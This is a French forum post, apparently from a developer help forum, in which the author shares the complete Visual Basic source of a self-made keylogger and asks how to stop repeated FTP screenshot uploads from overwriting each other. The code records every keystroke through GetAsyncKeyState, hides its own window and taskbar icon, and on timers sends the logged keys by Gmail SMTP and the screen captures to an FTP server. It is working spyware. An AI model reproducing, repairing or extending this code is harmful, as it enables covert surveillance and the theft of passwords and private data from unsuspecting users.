none
problem avec UploadFile RRS feed

  • Discussion générale

  • salut salut tout le monde
    j'ai fait un petit keylogger avec VB 2013 histoire de me faire la main ayant pas trouvé une solution pour pour envoyer les captures d'écran par mail.
    j'ai opté pour la solution FTP et j'ai utilisé se code
     
    My.Computer.Network.UploadFile("D:\Downloads\capture.bmp", "ftp://user1@ftp.somedomain.com/capture.bmp", "user1", "pass1", True, 500, FileIO.UICancelOption.DoNothing)

    tu marche impeccablement jusqu'à quand j'ai essayé d'uploader une autre capture je suppose que la solution est renommer le fichier capture mais pour être honnête je me perds un peu :mouarf:
    voila le code complet du keylogger

    Option Strict On
    Imports System.Net.Mail
    Public Class Form1
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
        Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
            Try
                Dim smtpserver As New SmtpClient
                smtpserver.EnableSsl = True
                smtpserver.Credentials = New Net.NetworkCredential("mymail@gmail.com", "pass")
                smtpserver.Port = 587
                smtpserver.Host = "smtp.gmail.com"
    
                Dim mail As New MailMessage
                mail = New MailMessage
                mail.From = New MailAddress("mymail@gmail.com", "moi")
                mail.To.Add("mymail@gmail.com")
                mail.Subject = ("New Key Log Data")
                mail.Body = txtLogs.Text
                smtpserver.Send(mail)
    
            Catch ex As Exception
                Me.Close()
            End Try
        End Sub
    
        Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
            Dim result As Integer
            Dim key As String
            Dim i As Integer
    
            For i = 2 To 90
                result = 0
                result = GetAsyncKeyState(i)
    
                If result = -32767 Then
                    key = Chr(i)
                    If i = 13 Then key = vbNewLine
                    Exit For
                End If
            Next i
    
            If key <> Nothing Then
                If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                    txtLogs.Text &= key
                Else
                    txtLogs.Text &= key.ToLower
                End If
            End If
    
            If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
                Me.Visible = True
            End If
        End Sub
    
    
        Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
            txtLogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
        End Sub
    
    
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Me.Visible = False
            txtLogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
        End Sub
    
        Private Sub txtLogs_TextChanged(sender As Object, e As EventArgs) Handles txtLogs.TextChanged
    
        End Sub
    
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            Dim bounds As Rectangle
            Dim screenshot As System.Drawing.Bitmap
            Dim graph As Graphics
            bounds = Screen.PrimaryScreen.Bounds
            screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
            graph = Graphics.FromImage(screenshot)
            graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
            PictureBox1.Image = screenshot
        End Sub
    
        Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
            If (Me.PictureBox1.Image IsNot Nothing) Then
                Me.PictureBox1.Image.Save("E:\\capture.bmp")
            End If
        End Sub
    
        Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
            My.Computer.Network.UploadFile("E:\capture.bmp", "ftp://user1@ftp.somedomain.com/capture.bmp", "user1", "pass1", True, 500, FileIO.UICancelOption.DoNothing)
        End Sub
    End Class


    vendredi 27 janvier 2017 18:20